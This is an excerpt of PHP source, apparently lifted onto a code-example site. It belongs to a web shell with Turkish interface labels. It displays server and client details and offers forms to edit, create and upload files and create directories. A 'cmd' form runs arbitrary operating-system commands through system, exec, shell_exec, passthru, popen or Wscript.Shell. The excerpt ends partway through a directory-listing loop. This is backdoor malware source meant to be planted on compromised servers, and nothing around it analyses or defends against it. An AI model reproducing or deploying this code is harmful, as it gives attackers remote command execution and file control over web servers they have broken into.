예제 #1
0
if (!isset($dir) or empty($dir)) {
    $dir = ".";
    $nowpath = getPath($pathname, $dir);
} else {
    $dir = $_post['dir'];
    $nowpath = getPath($pathname, $dir);
}
///////
$dir_writeable = dir_writeable($nowpath) ? "m" : "mm";
$phpinfo = !eregi("phpinfo", $dis_func) ? " | <a href=\"?action=phpinfo\" target=\"_blank\">PHPINFO()</a>" : "";
$reg = substr(PHP_OS, 0, 3) == 'WIN' ? " | <a href=\"?action=reg\"mohajer22</a>" : "";
$tb = new FORMS();
$tb->tableheader();
$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td><b>' . $_SERVER['HTTP_HOST'] . '</b></td><td><b>' . $mohajer . '</b></td><td align="right"><b>' . $_SERVER['REMOTE_ADDR'] . '</b></td></tr></table>', 'center', 'top');
$tb->tdbody("<FORM method='POST' action='{$REQUEST_URI}' enctype='multipart/form-data'><INPUT type='submit' name='Rifrish' value='  dir  '  id=input><INPUT type='submit'name='erne' value='erne '  id=input><INPUT type='submit' name='phpinfo' value='PHPinfo' id=input><INPUT type='submit' name='shell' value='command shill' id=input></form>");
$tb->tablefooter();
$tb->tableheader();
$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td><b>Dosya Duzenle Yada Olustur & Dosya Yukle & Dizin Olustur</b></td></tr></table>', 'center', 'top');
$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td>');
$tb->headerform(array('content' => '<FONT COLOR=#9C9C9C>Dosya Duzenle weya Olustur:</FONT>' . $tb->makehidden('dir', getcwd()) . ' ' . $tb->makeinput('editfile') . ' ' . $tb->makeinput('Edit', 'Duzenle', '', 'submit')));
$tb->headerform(array('action' => '?dir=' . urlencode($dir), 'enctype' => 'multipart/form-data', 'content' => '<FONT COLOR=#9C9C9C>Dosya Yukle:</FONT>' . $tb->makeinput('uploadfile', '', '', 'file') . ' ' . $tb->makeinput('doupfile', 'Ekle', '', 'submit') . $tb->makeinput('uploaddir', $dir, '', 'hidden')));
$tb->headerform(array('content' => '<FONT COLOR=#9C9C9C>Dizin Olustur:</FONT> ' . $tb->makeinput('newdirectory') . ' ' . $tb->makeinput('createdirectory', 'yenidizin', '', 'submit')));
$execfuncs = substr(PHP_OS, 0, 3) == 'WIN' ? array('system' => 'system', 'passthru' => 'passthru', 'exec' => 'exec', 'shell_exec' => 'shell_exec', 'popen' => 'popen', 'wscript' => 'Wscript.Shell') : array('system' => 'system', 'passthru' => 'passthru', 'exec' => 'exec', 'shell_exec' => 'shell_exec', 'popen' => 'popen');
$tb->headerform(array('content' => '<FONT COLOR=#9C9C9C>cmd:</FONT>' . $tb->makeselect(array('name' => 'execfunc', 'option' => $execfuncs, 'selected' => $execfunc)) . ' ' . $tb->makeinput('command') . ' ' . $tb->makeinput('Run', 'command', '', 'submit')));
$tb->tdbody("</td></tr></table>");
if (!isset($_GET['action']) or empty($_GET['action']) or $_GET['action'] == "dir") {
    $tb->tableheader();
    echo "<tr bgcolor='#D0D0D0'><td align='center' nowrap width='27%'><b>DIR</b></td><td align='center' nowrap width='16%'><b>First data</b></td><td align='center' nowrap width='16%'><b>Last data</b></td><td align='center' nowrap width='11%'><b>Size</b></td><td align='center' nowrap width='6%'><b>Perm</b></td></tr>";
    $dirs = @opendir($dir);
    $dir_i = '0';
    while ($file = @readdir($dirs)) {